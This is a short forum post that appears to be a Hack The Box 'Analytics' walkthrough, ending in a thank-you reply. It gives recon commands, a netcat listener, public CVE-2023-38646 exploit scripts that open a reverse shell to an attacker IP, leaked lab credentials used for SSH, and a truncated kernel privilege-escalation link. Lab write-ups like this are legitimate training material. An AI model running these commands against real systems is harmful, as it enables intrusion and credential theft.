[rustydusty]

##### Foothold #####

sudo nmap -sTVC -AO analytics.htb
    22/tcp open  ssh
    22/tcp open  ssh
   
# added http://analytical.htb/ to /etc/hosts

# sub domain fuzzing
gobuster vhost -t 30 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -k --domain analytical.htb --append-domain -u 'http://10.10.11.233'
Found: data.analytical.htb Status: 200 [Size: 77858]

# Added data.analytical.htb to /etc/hosts

##### User #####

https://github.com/securezeron/CVE-2023-38646

# setup a listener
nc -nlvp 4444

# run scripts from the github link above
python3 ./CVE-2023-38646-POC.py --ip data.analytical.htb
python3 ./CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb --lhost 10.10.14.9 --lport 4444

# Run linpeas
# Private information inside environment variables
META_PASS=An4lytics_ds20223#
MB_DB_USER=META_USER=metalytics

# ssh with foudn credentials
ssh metalytics@analytics.htb

metalytics@analytics:~$ cat user.txt

##### root #####

# Eunm metalytics user
uname -a
    Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
# vulnerability for "Ubuntu 25~22.04.2"

https://github.com/g1vi/CVE-2023-2640-CV...----------

root@analytics:/root# cat root.txt

:)

[SyntaxTR234]

thnx for share